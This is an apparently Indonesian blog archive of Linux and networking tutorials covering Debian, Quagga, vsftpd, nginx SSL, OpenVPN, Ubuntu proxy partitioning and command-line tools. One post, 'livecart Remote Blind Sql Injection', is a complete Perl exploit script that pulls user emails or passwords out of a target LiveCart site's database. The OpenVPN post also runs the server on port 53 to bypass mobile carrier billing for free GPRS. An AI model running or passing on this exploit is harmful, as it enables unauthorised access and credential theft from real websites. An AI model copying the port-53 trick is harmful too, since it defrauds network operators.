Showing posts with label LINUX TUTORIAL. Show all posts
Showing posts with label LINUX TUTORIAL. Show all posts

Monday, March 20, 2017

Belajar Konfigurasi Dasar Debian 7.4 Wheezy

Konfigurasi Dasar Debian Server ini merupakan langkah awal untuk membangun sebuah server. Pembahasan kita kali ini saya akan menggunakan iso debian 7.4 , kalian dapat mendownload iso ini secara gratis di kambing ui. Dalam pembahasan konfigurasi dasar debian server kita akan membahas mulai dari konfigurasi ip address static sampai repository. Berikut ini adalah list yang akan kita bahas :

Friday, March 10, 2017

Tutorial Cara Install Mikrotik di VPS ( Virtual Private Serer )

VPS adalah sebuah server yang dibagi menjadi beberapa VM (Virtual Machines), dimana di setiap VM adalah berupa “Virtual server” yang dapat di install system operasi tersendiri. kita akan belajar install mikrotik di VPS dikarenakan untuk kebutuhan seperti :

Sunday, February 5, 2017

Tutorial Install Quagga Routing BGP Server di Linux Debian

Quagga adalah open source routing software yang berbasis pada router Zebra, namun pada tahun 2003 pengembangannya sudah tidak diteruskan lagi. Quagga mendukung routing protokol routing utama yang standar, seperti RIP, OSPF atau BGP dan dapat diinstal pada sistem Linux dengan kernel 2.4 atau lebih tinggi. 
Kesempetan kali ini kita akan mengimplementasikan quagga di linux debian sebagai routing dinamis yang akan mendistribusikan net-block IP Game ke sebuah jaringan yang disini kita alokasikan untuk vpn game garena
Perintah konfigurasi quagga mirip dengan perintah konfigurasi Cisco IOS kalau anda sudah familiar dengan Cisco mungkin mudah jadinya untuk meng-implementasikan instalasi quagga.

Tutorial Cara Install PPTP Server di Linux Debian

Point-to-Point Tunneling Protocol (PPTP) adalah suatu protokol jaringan yang memungkinkan pengiriman data secara aman dari remote client kepada server perusahaan swasta dengan membuat suatu virtual private network (VPN) melalui jaringan data berbasis TCP/IP
Beberapa keuntungan dari teknologi VPN diantaranya adalah :

Saturday, February 4, 2017

Cara Membuat Server VPN Garena SG dengan Quagga Routing di Debian

Untuk dapat membuat server vpn garena singapore, Dedikasi (Hardware+Software) yang harus kita sediakan adalah sebagai berikut :
  • Vps dedicate dengan IP Public singapore
  • Quagga Routing Dinamis untuk BGP Server
  • Router Mikrotik sebagai Server VPN
  • Routing Dinamis OSPF Mikrotik Server VPN

Tutorial Install Cacti di Ubuntu Server Untuk Kebutuhan Monitoring Trafik Client

Cacti adalah aplikasi open source yang yang merupakan solusi pembuatan grafik network yang lengkap yang didesign untuk memanfaatkan kemampuan fungsi RRDTool sebagai peyimpanan data dan pembuatan grafik. Cacti menyediakan pengumpulan data yang cepat, pola grafik advanced, metoda perolehan multiple data, dan fitur pengelolaan user. Semuanya dikemas secara intuitif, sebuah interface yang mudah digunakan mudah dipahami untuk jaringan LAN hingga jaringan yang kompleks dengan ratusan perangkat.

Wednesday, January 29, 2014

Membuat FTP Server di Ubuntu Hardy dengan Vsftpd

Instalasi

Instalasi vsftpd semudah menginstal aplikasi lain dari repositori Ubuntu.
sudo apt-get install vsftpd
Untuk menjalankan service vsftpd
sudo /etc/init.d/vsftpd start
Untuk mematikan service vsftpd
sudo /etc/init.d/vsftpd stop

Konfigurasi FTP Anonim

FTP anonim artinya user bisa masuk ke ftp server tanpa harus memasukkan login dan password. Biasanya digunakan oleh ftp server yang menyediakan berkas untuk umum, seperti mirror aplikasi atau server penyedia repositori distro linux.
Secara default konfigurasi vsftpd di Ubuntu sudah membolehkan akses ftp anonim. Dan lokasi home direktori untuk user ftp ada di /home/ftp, dan ini adalah tempat menyimpan berkas yang akan diberikan melalui ftp.
Jika Anda berniat untuk memindahkan lokasi tempat menyimpan berkas untuk ftp anonim tadi, Anda tinggal mengganti lokasi home direktori untuk user ftp.
Misal, kita akan pindahkan ke /data/ftp.
sudo mkdir /data/ftp
sudo usermod -d /data/ftp ftp 
Setelah itu, restart service vsftpd
sudo /etc/init.d/vsftpd restart

Konfigurasi FTP untuk User

Jika Anda ingin membolehkan user yang ada di linux server untuk login melalui ftp dan user-user tadi bisa mengupload berkas ke server, buat konfigurasi seperti berikut.
Berkas yang harus Anda sunting adalah /etc/vsftpd.conf
local_enable=YES
write_enable=YES
Setelah itu restart service vsftpd
sudo /etc/init.d/vsftpd restart

Membatasi User di Home Direktori

Secara default user yang bisa masuk melalui ftp, bisa mengakses semua berkas yang ada di server (tentunya dengan hak akses yang sesuai dengan user tersebut). Jika Anda ingin membatasi user yang login melalui ftp hanya bisa mengakses berkas-berkas yang ada di home direktorinya saja, gunakan konfigurasi berikut.
Sunting berkas /etc/vsftpd.conf
chroot_local_user=YES
Atau jika Anda hanya ingin membatasi user tertentu saja, gunakan konfigurasi seperti di bawah ini
chroot_list_enable=YES
chroot_list_file=/etc/vsftpd.chroot_list
Kemudian Anda masukkan user yang ingin dibatasi ke dalam berkas /etc/vsftpd.chroot_list.
Dan jangan lupa, untuk menerapkan konfigurasi tadi, Anda harus merestart service vsftpd.
sudo /etc/init.d/vsftpd restart

VIM Syntax Highlighting untuk Nginx


Download berkas nginx.vim, dan simpan di ~/.vim/syntax/. Kemudian tambahkan baris berikut ke berkas ~/.vim/filetype.vim
au BufRead,BufNewFile /opt/nginx/conf/* set ft=nginx
au BufRead,BufNewFile /opt/nginx/conf/sites-available/* set ft=nginx
au BufRead,BufNewFile /opt/nginx/conf/sites-enabled/* set ft=nginx

Mengkonfigurasi HTTPS Server di Nginx

 
Untuk mengkonfigurasi HTTPS server, Anda harus mengaktifkan protokol SSL di blok server, dan menuliskan lokasi dari berkas server certificate dan private key:
server {
    listen               443;
    server_name          www.nginx.com;
    ssl                  on;
    ssl_certificate      www.nginx.com.crt;
    ssl_certificate_key  www.nginx.com.key;
    ssl_protocols        SSLv3 TLSv1;
    ssl_ciphers          HIGH:!ADH:!MD5;
    ...
}
Server certificate adalah entitas publik. Ini akan dikirim ke setiap klien yang terhubung ke server. Sedangkan private key adalah entitas keamanan dan harus disimpan dalam berkas dengan akses terbatas, tapi walau terbatas harus bisa dibaca oleh master proses nginx. Private key bisa juga disimpan dalam berkas sama sebagai certificate:
    ssl_certificate      www.nginx.com.cert;
    ssl_certificate_key  www.nginx.com.cert;
yang dalam kasus ini akses ke berkas juga harus dibatasi. Meskipun sertifikat dan kuncinya disimpan dalam satu berkas, hanya bagian certificate yang akan dikirim ke klien.
Direktif “ssl_protocols” dan “ssl_chipers” mungkin bisa digunakan untuk membatasi koneksi ke versi aman/kuat (strong) protokol SSL dan chipers. Sejak versi 0.8.20, nginx menggunakan “ssl_protocols SSLv3 TLSv1” dan “ssl_chipers HIGH:!ADH:!MD5” pada konfigurasi default, jadi semua itu hanya harus diset jika menggunakan versi nginx sebelumnya.

Optimasi HTTPS server

Operasi SSL mengkonsumsi sumberdaya CPU lebih banyak. Pada sistem multi prosesor Anda sebaiknya menjalankan beberapa worker processes: tidak lebih sedikit dari jumlah CPU core yang tersedia. Operasi yang paling banyak memakai sumberdaya CPU adalah pada saat SSL handshake.
Ada dua cara untuk meminimalkan jumlah operasi ini per klien: yang pertama adalah mengaktifkan keepalive connections untuk mengirimkan beberapa request melalui satu koneksi dan yang kedua adalah untuk menggunakan ulang sesi SSL untuk menghindari SSL handshake untuk koneksi parallel dan subsequent connections. Sesi-sesi ini disimpan dalam SSL session cache yang di share antara worker dan dikonfigurasi oleh direktif “ssl_session_cache“. Satu megabyte dari cache bisa menyimpan sekitar 4000 sesi. Nilai default untuk cache timeout adalah 5 menit. Dan bias dinaikkan menggunakan direktif “ssl_session_timeout“.
Berikut ini adalah contoh konfigurasi yang sudah dioptimasi untuk sistem quad core dengan 10M shared session cache:
worker_processes  4;
 
http {
    ssl_session_cache    shared:SSL:10m;
    ssl_session_timeout  10m;
 
    server {
        listen               443;
        server_name          www.nginx.com;
        keepalive_timeout    70;
 
        ssl                  on;
        ssl_certificate      www.nginx.com.crt;
        ssl_certificate_key  www.nginx.com.key;
        ssl_protocols        SSLv3 TLSv1;
        ssl_ciphers          HIGH:!ADH:!MD5;
        ...

SSL certifcate chains

Beberapa peramban mungkin komplen tentang sertifikat yang ditandatangani oleh well-kown certificate authority, sementara peramban lainnya mungkin menerima sertifikat tanpa masalah. Hal ini terjadi karena yang mengeluarkan otoritas telah menandatangi sertifikat server menggunakan sertifikat perantara (intermediate certificate) yang tidak tersedia di basis sertifikat dari well-known trusted certificate authorities, tapi dilain sisi sertifikat ini mungkin didistribusikan di sebagian peramban lainnya. Dalam kasus ini si otoritas biasanya menyediakan satu bundle chained certificates yang harus di gabungkan (concatenated) ke sertifikat yang telah ditandatangani. Sertifikat harus muncul sebelum chained certificates pada berkas yang sudah digabung:
$ cat www.nginx.com.crt bundle.crt > www.nginx.com.chained.crt
Berkas yang dihasilkan digunakan dalam direktif “ssl_certificate“:
server {
    listen               443;
    server_name          www.nginx.com;
    ssl                  on;
    ssl_certificate      www.nginx.com.chained.crt;
    ssl_certificate_key  www.nginx.com.key;
    ...
}
Jika sertifikate server dan bunel sudah digabungkan dalam urutan yang salah, nginx akan gagal dijalankan dan akan menampilkan pesan error:
SSL_CTX_use_PrivateKey_file(" ... /www.nginx.com.key") failed
   (SSL: error:0B080074:x509 certificate routines:
    X509_check_private_key:key values mismatch)
karena nginx mencoba menggunakan private key dengan certifikat pertama dari bundle dan bukan ke sertifikat server yang seharusnya.
Peramban biasanya menyimpan sertifikat perantara yang mereka terima dan yang ditandatangani oleh otoritas terpercaya, jadi peramban yang sudah digunakan secara aktif mungkin sudah memiliki sertifikat perantara yang dibutuhkan dan tidak akan komplen tentang sertifikat yang dikirim tanpa bundle. Untuk meyakinkan server mengirimkan certificate chain yang lengkap, Anda bisa menggunakan perintah “openssl“, misalnya:
$ openssl s_client -connect www.godaddy.com:443
...
Certificate chain
 0 s:/C=US/ST=Arizona/L=Scottsdale/1.3.6.1.4.1.311.60.2.1.3=US
     /1.3.6.1.4.1.311.60.2.1.2=AZ/O=GoDaddy.com, Inc
     /OU=MIS Department/CN=www.GoDaddy.com
     /serialNumber=0796928-7/2.5.4.15=V1.0, Clause 5.(b)
   i:/C=US/ST=Arizona/L=Scottsdale/O=GoDaddy.com, Inc.
     /OU=http://certificates.godaddy.com/repository
     /CN=Go Daddy Secure Certification Authority
     /serialNumber=07969287
 1 s:/C=US/ST=Arizona/L=Scottsdale/O=GoDaddy.com, Inc.
     /OU=http://certificates.godaddy.com/repository
     /CN=Go Daddy Secure Certification Authority
     /serialNumber=07969287
   i:/C=US/O=The Go Daddy Group, Inc.
     /OU=Go Daddy Class 2 Certification Authority
 2 s:/C=US/O=The Go Daddy Group, Inc.
     /OU=Go Daddy Class 2 Certification Authority
   i:/L=ValiCert Validation Network/O=ValiCert, Inc.
     /OU=ValiCert Class 2 Policy Validation Authority
     /CN=http://www.valicert.com//emailAddress=info@valicert.com
...
Di contoh ini subject (“s”) dari sertifikat server www.GoDaddy.com #0 ditandatangani oleh issuer (“i”) yang merupakan subject dari sertifikat #1, yang juga ditandatangani oleh issuer yang merupakan subject dari certificate #2, yang ditandatangani oleh well-known issuer ValiCert, Inc. Semua sertifikat itu disimpan di built-in certificate base dari peramban.
Jika Anda tidak menambahkan certificate bundle, Anda hanya akan melihat sertifikate server #0.

A single HTTP/HTTPS server

Merupakan langkah yang baik untuk mengkonfigurasi server secara terpisah untuk protokol HTTP dan HTTPS dari sejak awal. Meskipun mungkin fungsionalitas mereka terlihat mirip, tapi ini bisa saja berubah secara signifikan di masa yang akan datang dan menggunakan server yang digabung mungkin akan menjadi masalah. Walau demikian, jika server HTTP dan HTTPS adalah sama, dan Anda tidak ingin berfikir tentang masa yang akan datang, Anda bisa mengkonfigurasi satu server tunggal yang menangani request HTTP dan HTTPS dengan menghapus direktif “ssl on” dan menambahkan parameter “ssl” untuk port *:443
server {
    listen               80;
    listen               443  ssl;
    server_name          www.nginx.com;
    ssl_certificate      www.nginx.com.crt;
    ssl_certificate_key  www.nginx.com.key;
    ...
}
Semenjak versi 0.8.21, nginx hanya membolehkan parameter “ssl” di set pada socket yang di listen dengan parameter “default”:
listen  443  default  ssl;

Name-based HTTPS servers

Biasanya muncul masalah umum ketika mengkonfigurasi dua atau lebih server HTTPS yang listening pada satu alamat IP:
server {
    listen           443;
    server_name      www.nginx.com;
    ssl              on;
    ssl_certificate  www.nginx.com.crt;
    ...
}
 
server {
    listen           443;
    server_name      www.nginx.org;
    ssl              on;
    ssl_certificate  www.nginx.org.crt;
    ...
}
Dengan konfigurasi ini, peramban menerima sertifikat dari default server, misalnya, www.nginx.com tanpa terpengaruh dengan server name yang direquest. Ini disebabkan karena sifat dari protokol SSL. Koneksi SSL terjadi sebelum browser mengirim request HTTP dan nginx tidak akan pernah tahu nama dari server yang direquest. Oleh karena itu, dia hanya akan menawarkan satu sertifikat dari default server.
Cara lama dan yang paling tokcer untuk mengatasi masalah ini adalah dengan membuat alamat IP terpisah untuk setiap HTTPS server:
server {
    listen           192.168.1.1:443;
    server_name      www.nginx.com;
    ssl              on;
    ssl_certificate  www.nginx.com.crt;
    ...
}
 
server {
    listen           192.168.1.2:443;
    server_name      www.nginx.org;
    ssl              on;
    ssl_certificate  www.nginx.org.crt;
    ...
}

Sertifikat SSL dengan beberapa nama

Ada cara lain untuk berbagi alamat IP antara beberapa HTTPS server, meskipun demikian, semuanya memiliki kelemahan. Salah satu cara adalah menggunakan sertifikat dengan beberapa nama pada bagian SubjectAltName di sertifikat. Sebagai contoh misalnya, www.nginx.com dan www.nginx.org. Tapi, bagian SubjectAltName memiliki panjang yang terbatas.
Cara lain adalah menggunakan sertifikat dengan wildcard name, misalnya, *.nginx.org. Sertifikat ini akan cocok dengan www.nginx.org, tapi tidak akan cocok dengan nginx.org dan www.sub.nginx.org. Dua metode tadi, bisa juga dikombinasikan. Sertifikat bisa saja berisikan exact dan wildcard name pada bagian SubjectAltName, misalnya, nginx.org dan *.nginx.org.
Akan lebih baik untuk menyimpan berkas sertifikat dengan beberapa nama dan berkas kunci privatenya pada level http dari berkas konfigurasi, agar di inherit ke semua server dari satu salinan memori.
ssl_certificate      common.crt;
ssl_certificate_key  common.key;
 
server {
    listen           443;
    server_name      www.nginx.com;
    ssl              on;
    ...
}
 
server {
    listen           443;
    server_name      www.nginx.org;
    ssl              on;
    ...
}

Server Name Indication

Solusi yang lebih mendasar untuk menjalankan beberapa server HTTPS pada satu alamat IP tunggal adalah menggunakan TLSv1.1 Server Name Indication extension (SNI, RFC3546), dimana dia membolehkan peramban melanjutkan request server name pada saat SSL handshake, dan selanjutnya, server akan tahu sertifikat yang mana yang harus digunakan untuk koneksi tersebut. Tapi SNI memiliki dukungan peramban yang terbatas. Saat ini dukungan fitur mulai ada di beberapa versi peramban berikut:
Opera 8.0;
MSIE 7.0 (hanya untuk Windows Vista atau versi lebih tinggi);
Firefox 2.0 dan peramban lain yang menggunakan platform Mozilla Platform rv:1.8.1;
Safari 3.2.1 (Versi Windows mendukung SNI pada Vista atau versi lebih baru);
dan Chrome (Versi Windows mendukung SNI pada Vista atau versi lebih baru).
Untuk menggunakan SNI di nginx, ini harus didukung oleh pustaka OpenSSL yang mana saat nginx dibangun juga oleh pustakan yang sedang ditautkan secara dinamik saat dijalankan. OpenSSL sudah mendukung SNI sejak versi 0.9.8f jika dia dibangun dengan opsi konfigurasi “--enable-tlsext“. Sejak OpenSSL 0.8.9j opsi ini diaktifkan secara default. Jika nginx sudah dibangun dengan dukungan SNI, maka nginx akan menampilkan ini ketika dijalankan dengan pilihan “-V”:
$ nginx -V
...
TLS SNI support enabled
...
Akan tetapi, jika nginx yang sudah diaktifkan SNI nya, tapi ditautkan secara dinamik ke pustaka OpenSSl yang tidak memiliki dukungan SNI, ngixn akan menampilkan peringatan:
nginx was built with SNI support, however, now it is linked
dynamically to an OpenSSL library which has no tlsext support,
therefore SNI is not available

Kompatibilitas

The SNI support status has been shown by the “-V” switch since 0.8.21 and 0.7.62.
The “ssl” parameter of the “listen” directive has been supported since 0.7.14.
SNI has been supported since 0.5.32.
The shared SSL session cache has been supported since 0.5.6.
Version 0.8.19 and later: the default SSL protocols are SSLv3 and TLSv1.
Version 0.8.18 and earlier: the default SSL protocols are SSLv2, SSLv3, and TLSv1.
Version 0.8.20 and later: the default SSL ciphers are “HIGH:!ADH:!MD5”.
Version 0.8.19: the default SSL ciphers are “ALL:!ADH:RC4+RSA:+HIGH:+MEDIUM”.
Version 0.8.18 and earlier: the default SSL ciphers are
“ALL:!ADH:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP”.

Saturday, December 7, 2013

livecart Remote Blind Sql Injection


#!/usr/bin/perl -w
use LWP::UserAgent;
# scripts : livecart Remote Blind Sql Injection
# scripts site : http://www.livecart.com
#
# Discovered
# By : Rubai Mohamad
# site : http://se-code.blogspot.com
# forum : http://devilzcode.org/forum
# email : masrubai@gmail.com
#
# sample :
# http://demo.livecart.com


print "\r\n[+]----------------------[+]\r\n";
print "[+]Blind SQL injection [+]\r\n";
print "[+]Livecart [+]\r\n";
print "[+]code by banteng [+]\r\n";
print "[+]banteng[dot]cn [+]\r\n";
print "[+]----------------------[+]\n\r";
if (@ARGV < 3){
die "
Cara Mengunakan : perl $0 host option userid

Keterangan
host : http://victim.com atau victim.com
Option : pilih 1 untuk mencari email dan pilih 2 untuk mencari password
userid : Limit
Contoh : perl $0 http://victim.com 1 1
\n";}


$url = $ARGV[0];
$option = $ARGV[1];
$id = $ARGV[2];

if ($option eq 1){
syswrite(STDOUT, "email: ", 7);}
elsif ($option eq 2){
syswrite(STDOUT, "password: ", 10);}

for($i = 1; $i <= 32; $i++){
$f = 0;
$n = 32;
while(!$f && $n <= 57)
{
if(&blind($url, $option, $id, $i, $n, $id)){
$f = 1;
syswrite(STDOUT, chr($n), 1);
}
$n++;
}
if ($f==0){
$n = 97;
while(!$f && $n <= 122)
{
if(&blind($url, $option, $id, $i, $n, $id)){
$f = 1;
syswrite(STDOUT, chr($n), 1);
}
$n++;
}
}
}

print "\n[+]finish Execution Exploit\n";

sub blind {
my $site = $_[0];
my $op = $_[1];
my $id = $_[2];
my $i = $_[3];
my $n = $_[4];
my $r = $_[5];
if ($op eq 1){$klm = "email";}
elsif ($op eq 2){$klm = "password";}
$site =~ s/^http:\/\///;
my $url = "http://"."$site"."/category?id=1"."%20AND%20SUBSTRING((SELECT%20"."$klm"."%20FROM%20"."User"."%20LIMIT%20"."$r".",1"."),"."$i".",1)=CHAR("."$n".")";
my $browser = &zero($url);

if ($browser !~ /Error Code 500/gi){
return 1;
}
else {
return 0;
}
}

sub zero($){
my $spy = $_[0];
my $ua = LWP::UserAgent->new;
$ua->agent('Mozilla/19.0 (compatible; MSIE 8.0; Windows NT 5.1)');
my $res = $ua->get($spy);
my @r = $res->content;
$page="@r";
return $page;}

Saturday, November 30, 2013

Partisi HDD on Ubnt for Prxy srv

Instalasi pada PC Proxy
=======================

--Instalasi Web Proxy di Ubuntu Server 12.04 part 1 - Instalasi Ubuntu Server 12.04---

Hardware (silahkan disesuaikan)
========
- Proc Core 2 Duo
- HDD 40 GB
- RAM 1 GB
- CD/DVD RW

Software
========
- Download Ubuntu Server ver 12.04 (iso)
- Download & Install Putty Installer
- Download & Install WinSCP Installer

Persiapan
=========
- Install NIAT terlebih dahulu :-)
- Burn iso file ke CD /DVD
- Set BIOS PC untuk First Boot melalui CD/DVD

Instalasi Ubuntu Server ver 12.04 Lts
=====================================

Silahkan ikuti petunjuk instalasi dibawah ini. Jumlah cache dan besaran cache sila disesuaikan

---- Configure Language, Location, locales ----
- English [ Tekan Enter ]
- Install Ubuntu Server [ Tekan Enter ]
- English [ Tekan Enter ]
- Other [ Tekan Enter ]
- Asia [ Tekan Enter ]
- Indonesia [ Tekan Enter ]
- United States [ Tekan Enter ]

----Configure the keyboard----
- No [ Tekan Enter ]
- English (US) [ Tekan Enter ]
- English (US) [ Tekan Enter ]

---- Configure the network ----
- Continue [ Tekan Enter ]
- Configure Network Manually [ Tekan Enter ]
- IP Address : 192.168.5.2 [ Tekan Enter ]
- Netmask : 255.255.255.0 [ Tekan Enter ]
- Gateway : 192.168.5.1 [ Tekan Enter ]
- Name Server address : 192.168.5.1 [ Tekan Enter ]
- Hostname : BelajarJaringan [ Tekan Enter ]
- Domain name : [ Tekan Enter ]
- Full name for new user : Belajar Jaringan [ Tekan Enter ]
- username for your account : belajar [ Tekan Enter ]
- choose a password for the new user : passwordku [ Tekan Enter ]
- Re-enter password to verify : passwordku [ Tekan Enter ]
- Encrypt your home directory? : No [ Tekan Enter ]

---- Configure the clock ----
- Jakarta

---- Partition disk ----
- Manual
- SCSI1 (0,0,0) (sda) - 42.9 GB [ Tekan Enter ]
- Create New Partition table on this device ? Yes [ Tekan Enter ]

- pri/log 42.9 GB FREE SPACE [ Tekan Enter ]
- Create a New Partition
- New Partition size : 1 GB [ Tekan Enter ]
- Type for the new partition : Primary [ Tekan Enter ]
- Location for the new partition : Beginning [ Tekan Enter ]
- Pilih Mount point [ Tekan Enter ]
- Pilih /boot - static files of the boot loader [ Tekan Enter ]
- Pilih Mount options [ Tekan Enter ]
- Pilih Noatime [Tekan Tombol Spacebar] [ Tekan Enter ]
- Pilih Bootable flag [ Tekan Enter ]
- Pilih Done setting up the partition [ Tekan Enter ]

- pri/log 41.9 GB FREE SPACE [ Tekan Enter ]
- Create a New Partition
- New Partition size : 2 GB [ Tekan Enter ]
- Type for the new partition : Primary [ Tekan Enter ]
- Location for the new partition : Beginning [ Tekan Enter ]
- Pilih Use [ Tekan Enter ]
- Pilih swap area [ Tekan Enter ]
- Pilih Done setting up the partition [ Tekan Enter ]

- pri/log 39.9 GB FREE SPACE [ Tekan Enter ]
- Create a New Partition
- New Partition size : 19.9 GB [ Tekan Enter ]  ------------------> Saya sisakan 20 GB untuk cache dir
- Type for the new partition : Primary [ Tekan Enter ]
- Location for the new partition : Beginning [ Tekan Enter ]
- Pilih Mount point [ Tekan Enter ]
- Pilih / - the root file system [ Tekan Enter ]
- Pilih Mount options [ Tekan Enter ]
- Pilih Noatime [Tekan Tombol Spacebar] [ Tekan Enter ]
- Pilih Done setting up the partition [ Tekan Enter ]

- pri/log 20 GB FREE SPACE [ Tekan Enter ]
- Create a New Partition
- New Partition size : 20 GB [ Tekan Enter ]
- Type for the new partition : Logical [ Tekan Enter ]
- Location for the new partition : Beginning [ Tekan Enter ]
- Pilih Use [ Tekan Enter ]
- Pilih ReiserFS journaling file system
- Pilih Mount point [ Tekan Enter ]
- Pilih Enter manually [ Tekan Enter ]
- Hapus /Home ganti menjadi /cache1 [ Tekan Enter ]
- Pilih Mount options [ Tekan Enter ]
- Pilih Noatime [Tekan Tombol Spacebar], Pilih Notail [Tekan Tombol Spacebar] [ Tekan Enter ]
- Pilih Done setting up the partition [ Tekan Enter ]

- Pilih Finish partitioning and write changes to disk [ Tekan Enter ]
- Write the changes to disks : Yes [ Tekan Enter ]

--- Configure the package manager ----
- HTTP proxy information (blank for none) : [ Tekan Enter ]

--- Configure tasksel ---
- How do you want to manage upgrade on this system? : No automatic updates [ Tekan Enter ]

--- Software selection ---
- Pilih OpenSSH Server [Tekan Tombol Spacebar] [ Tekan Enter ]

--- Install the GRUB boot loader on a hard disk---
- Install the GRUB boot loader to the master boot record? : Yes [ Tekan Enter ]

--- [!!] Finish the installation ---
- Pilih Continue [ Tekan Enter ]
- keluarkan CD Installer

Mengganti Password root
=======================
1. Login ke Proxy melalui WinSCP/ Putty dengan login yg Anda buat sewaktu install
2. ketik perintah dibawah ini
sudo su [tekan ENTER]
(masukkan password user yang anda buat sewaktu install)
3. ketik lagi
passwd root [tekan ENTER]
ENTER new UNIX password : (masukkan password baru untuk root)
Retype new UNIX password : (masukkan kembali password yang sama)

pastikan muncul tulisan : passwd : password updated successfully

Install Webmin

Assalamualikum wr.wb
hari ini ane mau kasih tahu car untuk install webmin di BT. ok langsung ke TKP aja dari pada temen" pada penasaran..
Langkah pertama :
root@bt:/var/www/webmin# wget ttp://prdownloads.sourceforge.net/webadmin/webmin_1.650_all.deb

tunggu sampai proses downloadtan selesai baru lanjut ke tahap penginstalan.

Langkah kedua :
root@bt:/var/www/webmin# dpkg --install webmin_1.650_all.deb

bila sukses akan muncul hasilnya seperti ini : 
(Reading database ... 317397 files and directories currently installed.)
Preparing to replace webmin 1.650 (using webmin_1.650_all.deb) ...
Unpacking replacement webmin ...
Setting up webmin (1.650) ...
Webmin install complete. You can now login to https://bt:10000/
as root with your root password, or as any user who can use sudo
to run commands as root.

Processing triggers for ureadahead ...

Langkah ketiga :

maka akan muncul tampilannya seperti ini:

Catatan!!!
untuk loginnya sma dengan login di Backtrack kalian..

dan inilah hasilnya jika sudah login,  seperti ini tampilannya.



udah segitu aja dlu dari ane,,
semoga bisa membantu temen" smua...

Friday, November 29, 2013

Install Open Vpn Server on CentOS

Install openvpn server di dedicated server,


Kali ini mengunakan CentOS 64bit sebagai OS.

$ wget http://openvpn.net/release/openvpn-2.0.9.tar.gz
$ wget http://openvpn.net/release/lzo-1.08-4.rf.src.rpm
$ yum install rpm-build autoconf.noarch zlib-devel pam-devel openssl-devel
$ rpmbuild –rebuild lzo-1.08-4.rf.src.rpm
$ rpm -Uvh /usr/src/redhat/RPMS/x86_64/lzo-*.rpm
$ rpmbuild -tb openvpn-2.0.9.tar.gz
$ rpm -Uvh /usr/src/redhat/RPMS/x86_64/openvpn-2.0.9-1.i386.rpm
$ cp -r /usr/share/doc/openvpn-2.0.9/easy-rsa/ /etc/openvpn/
$ cp /usr/share/doc/openvpn-2.0.9/sample-config-files/server.conf /etc/openvpn/

Build certificate

$ cd /etc/openvpn/easy-rsa/2.0
$ source ./vars
$ ./vars
$ ./clean-all
$ ./build-ca
$ ./build-key-server server
$ ./build-dh

Build certificate untuk client sysadmin dan admins

$ ./build-key sysadmin
$ ./build-key admins
$ cp /etc/openvpn/easy-rsa/2.0/keys /etc/openvpn/keys -R

sekarang edit server.conf
$ vi /etc/openvpn/server.conf

perhatikan tanda (;) didepan, hapus tanda tersebut dan edit

local 71.201.xx.xx
port 1094
proto udp
dev tun
ca keys/ca.crt
cert keys/server.crt
key keys/server.key
dh keys/dh1024.pem
server 10.8.0.0 255.255.255.0
ifconfig-pool-persist ipp.txt
push "route 10.8.0.0 255.255.255.0"
push "redirect-gateway"
push "dhcp-option DNS 78.256.xx.xx"
keepalive 10 120
comp-lzo
persist-key
persist-tun
status openvpn-status.log
verb 3


Ganti local IP (local 71.201.xx.xx) dan DNS (push "dhcp-option DNS 78.256.xx.xx") dengan IP server dan DNS server anda.
Sedang port 1094 saya ganti 53 tujuanya adalah unuk untuk bypass (supaya bisa GPRS gratis).
Karena openvpn di jalakan pada port 53, maka service bind harus dimatikan supaya tidak konflik.

Jalankan openvpn service

$ service openvpn start

Enabling packet forwarding

$ echo 1 > /proc/sys/net/ipv4/ip_forward

NAT table MASQUERADING

$ iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE

Konfigurasi di server selesai, sekarang saatnya konfigurasi di client windows.

Download dan install OpenVPN GUI
http://openvpn.se/files/install_packages/openvpn-2.0.9-gui-1.0.3-install.exe

Copy ca.crt, sysadmin.crt, admins.crt, sysadmin.key, admins.key pada folder /etc/openvpn/keys di dedicated server.
kemudian simpan di folder
c:\program files\openvpn\config\sysadmin
dan
c:\program files\openvpn\config\admins
pada client windows

Kemudian buat file sysadmin.ovpn dan isi dengan konfigurasi dibawah ini

client
dev tun
proto udp
remote 71.201.xx.xx 1094
resolv-retry infinite
nobind
persist-key
persist-tun
ca ca.crt
cert sysadmin.crt
key sysadmin.key
comp-lzo
verb 3


Simpan file tersebut pada folder c:\program files\openvpn\config\sysadmin\
Kemudia buat file lagi admins.ovpn dan isi dengan konfigurasi dibawah ini

client
dev tun
proto udp
remote 71.201.xx.xx 1094
resolv-retry infinite
nobind
persist-key
persist-tun
ca ca.crt
cert admins.crt
key admins.key
comp-lzo
verb 3


Simpan file tersebut pada folder c:\program files\openvpn\config\admins\

Connectkan openvpn client.

Linux Command Line - Untuk Melihat Spek Hardware

Processor

~$ cat /proc/cpuinfo

RAM

~$ cat /proc/meminfo

VGA type

~$ lspci | grep VGA
~$ lspci -v -s 00:02.0

HD size

~$ df -h

Motherboard information

~$ sudo dmidecode

Linux distro information

~$ cat /etc/issue
~$ lsb_release -a
~$ lsb_release -ds

Usb device information

~$ lsusb

New hardware


~$ dmesg

Kernel information


~$ uname -a

networking card and IP address

~$ ifconfig -a
~$ /sbin/ifconfig | grep inet

Tool for Edit Web Server on Ubuntu

The best 5 tool web editor under ubuntu.

1. Bluefish
~$ sudo apt-get install bluefish


2. Kompozer
~$ sudo apt-get install kompozer


3. Quanta
~$ sudo apt-get install quanta


4. gPHPEdit
~$ sudo apt-get install gphpedit


5. Screem
~$ sudo apt-get install screem

Beberapa Tool Command Line Linux yang Wajib Berada di Windows

Selama ini mungkin terlalu sering dan di mudahkanya saya mengunakan beberapa tool command line yang ada di linux/nix. Sebagai contoh wget, nc, nmap dan masih banyak lagi. Kemudian jika saya mengunakan windows apakah tool tool itu dapat saya jalankan?

Inilah beberapa tools terminal linux/nix yang bisa di install di windows.

1. wget
wget for windows dapat di temukan di sini

2. netcat
netcat berjalan baik di windows tinggal copy file nc.exe ke windows/system32. netcat for windows dapat di temukan di sini

3. perl
perl for windows biasa di sebut activeperl. activeperl for windows dapat di temukan di sini

4. python
python for windows bisa di temukan di sini

5. php-cli
untuk php cli saya mengunakan appserv yaitu apache+mysql+php5 yang juga sudah terdapat php-cli juga. untuk appserv dapat ditemukan di sini

Itulah beberapa tool command line linux yg ada di dalam windows saya. Namun ada baiknya kita menginstal tool bernama Cygwin.

Apa itu Cygwin, disini saya coba copas dari site Cygwin.

Cygwin is a Linux-like environment for Windows. It consists of two parts:
